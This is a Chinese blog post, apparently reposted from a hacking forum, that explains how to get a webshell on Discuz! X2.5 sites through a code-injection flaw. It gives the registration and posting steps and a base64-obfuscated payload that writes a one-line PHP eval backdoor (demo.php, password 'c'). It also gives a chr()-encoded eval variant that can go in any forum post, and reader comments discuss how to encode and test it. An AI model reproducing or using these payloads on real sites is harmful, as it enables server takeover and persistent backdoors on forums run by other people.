DZ!2.5 后台拿 WebShell 方法,一直在找的 DZ!2.5 后台拿 shell

  • A+
所属分类:lcx

一直都没找到DZ! 2.5后台拿shell的方法 一直等大牛暴出来 这次 暴了2个。


1.注册任意账户

2.登陆用户,发表blog日志(注意是日志)

3.添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}

4.访问日志,论坛根目录下生成demo.php,一句话密码C


这个必须是要开启seo

在这个地方。二个的都是这个地方。

DZ!2.5 后台拿 WebShell 方法,一直在找的 DZ!2.5 后台拿 shell

最新更新的是能直接在贴子里面拿shell。。

利用方式也并非非得发blog,也不是非得发网络图片,详细的利用我是比如随便发个贴子,内容

DZ!2.5 后台拿 WebShell 方法,一直在找的 DZ!2.5 后台拿 shell

${${eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))}}

然后给他加上任意超链接,发布即可phpinfo(),

这个自己换成char就可以了

DZ!2.5 后台拿 WebShell 方法,一直在找的 DZ!2.5 后台拿 shell

自己敢兴趣的怎么网上搜。好多的。

转自:http://www.90sec.org/viewthread.php?tid=2203&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000

留言评论(旧系统):

【匿名者】 @ 2012-04-29 11:30:38

如何把普通的代码转换成char ?有什么工具?

本站回复:

哎,去查查什么是 chr() 函数,格式:chr(某个字符对应的Ascii码),例如:p = chr(112)

【匿名者】 @ 2012-05-01 00:54:21

这两个方法我都测试了,但并没有出现文章描述的结果。 但不成是我的dz版本问题,我的dz是最新的2.5 ,4月27号发布的。还好我更新的及时。

本站回复:

具体情况不是很清楚,这个方法大概在25号就有了吧……

文章来源于lcx.cc:DZ!2.5 后台拿 WebShell 方法,一直在找的 DZ!2.5 后台拿 shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: